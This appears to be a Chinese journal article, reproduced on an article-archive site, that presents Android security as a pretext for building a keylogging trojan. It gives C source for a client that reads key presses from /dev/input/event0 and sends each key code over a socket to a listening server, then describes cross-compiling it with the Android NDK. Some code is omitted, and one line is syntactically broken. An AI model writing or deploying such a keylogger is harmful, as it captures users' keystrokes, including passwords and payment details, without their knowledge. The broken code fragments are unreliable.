浅谈安卓手机安全及安卓手机木马编程

时间:2022-10-30 07:16:48

浅谈安卓手机安全及安卓手机木马编程

摘 要:随着手机使用的普及,手机职能技术越来越先进,大部分手机都安装了最为先进的智能系统,不仅可以通话,同时还具备多种上网功能、在线购物付款功能、在线炒股、在线转账等功能,这些功能的加入同时也使得手机的安全性越来越受到威胁,因此研究现阶段智能手机的安全功能保障及相应的故障防卫编程成为智能手机发展的重要课题之一。

关键词:安卓手机;木马程序;编码

中图分类号:TP309.5 文献标识码:A 文章编号:1674-7712 (2013) 14-0000-01

在智能手机风生水起的时代,安卓智能手机占据了大部分席位,就最新统计的数据来看,Android智能手机在中国的占有率为86%。所以,正如Windows操作系统有如此多的用户一样,不可避免的会带来安全性问题。随着智能手机的普及,手机的安全性也变得越来越热门和重要。

android系统是一个以Linux为基础的半开源操作系统,其内核属于Linux内核的一个分支,具有典型的Linux调度和功能。所以,一个Native C程序,经过交叉编译,完全可以在Android系统上运行。

我们的目标是编写一个简单的手机木马,这个木马分为服务端和客户端两个部分,实现的功能是客户端可以获取手机的按键信息,并把信息发送给服务端。

核心源码如下:

其实这个手机木马就是通过socket连接来编写的,socket部分大家都应该比较清楚了,那就讲讲字符处理的部分吧。

服务端部分:服务端的核心部就是接收客户端发送的信息,并显示出来。

int main(int argc, char *argv[]){ /*省略部分代码,以下为核心代码*/

while((len=recv(client_sockfd,buf,BUFSIZ,0))>0)

{ printf("%s\n",buf); memset(buf,'\0',BUFSIZ);

if(send(client_sockfd,buf,len,0)

{ perror("write");return 1; } }

close(client_sockfd);close(server_sockfd);return 0;}

客户端部分:客户端的主要核心代码部分就是循环读取手机的字符存储设备,并发送给服务端。

int main(void){ /*省略部分代码,以下为核心代码*/

event0_fd = open("/dev/input/event0", O_RDWR);

if ( event0_fd < 0 ) return -1; printf("Start...\n");

while (1){ rd = read(event0_fd, ev0, sizeof(struct input_event) * 64);

if ( rd < sizeof(struct input_event) ) return 0;

for (i = 0; i < rd / sizeof(struct input_event); i++)

{ if (ev0[i].type == 1&&ev0[i].value == 1)

{ printf("The key code is: %3d\n", ev0[i].code);

if (ev0[i].code == 158){ break; }

memset(buf,'\0',BUFSIZ);sprintf(buf,"%d",ev0[i].code);

len=send(client_sockfd,buf,strlen(buf),0); }}}}

源码中已经给出了很多注释,下面就来简单的分析一下源码,其实就是简单的Socket编程。

服务端程序就是不停的等待客户端发送的信息,这里就不再赘述,重点来看一下客户端程序。客户端的核心功能是获取手机的按键信息。

我们先拿起手机,在终端模拟器中键入:ls /dev/input,好的,我们看到了一些东西,比如event0,event1,event2等等,而event0正是我们所需要的,就是Android的按键子系统。

接下来就可以从/dev/input/event0中获取我们所需要的信息了,这部分的关键代码就是:

event0_fd = open("/dev/input/event0", O_RDWR);

rd = read(event0_fd, ev0, sizeof(struct input_event) * 64);

if ( rd < sizeof(struct input_event) ) return 0;

for (i = 0; i < rd / sizeof(struct input_event); i++)

{if (ev0[i].type == 1&&ev0[i].value == 1) {printf("The key code is: %3d\n", ev0[i].code); if (ev0[i].code == 158){break;} }

然后通过send就可以向服务端发送所截取的信息了。

源码就分析到这里了,接下来讲讲交叉编译及adb的简单使用。(Linux环境下进行)。

交叉编译作者用的是Android NDK自带的工具链中的arm-linux-androideabi-gcc,当然还有许多其他的编译器可以选择。服务端直接用gcc就可以了。

上一篇:动漫专业教育存在的问题及对策 下一篇:供电安全管理如何体现以人为本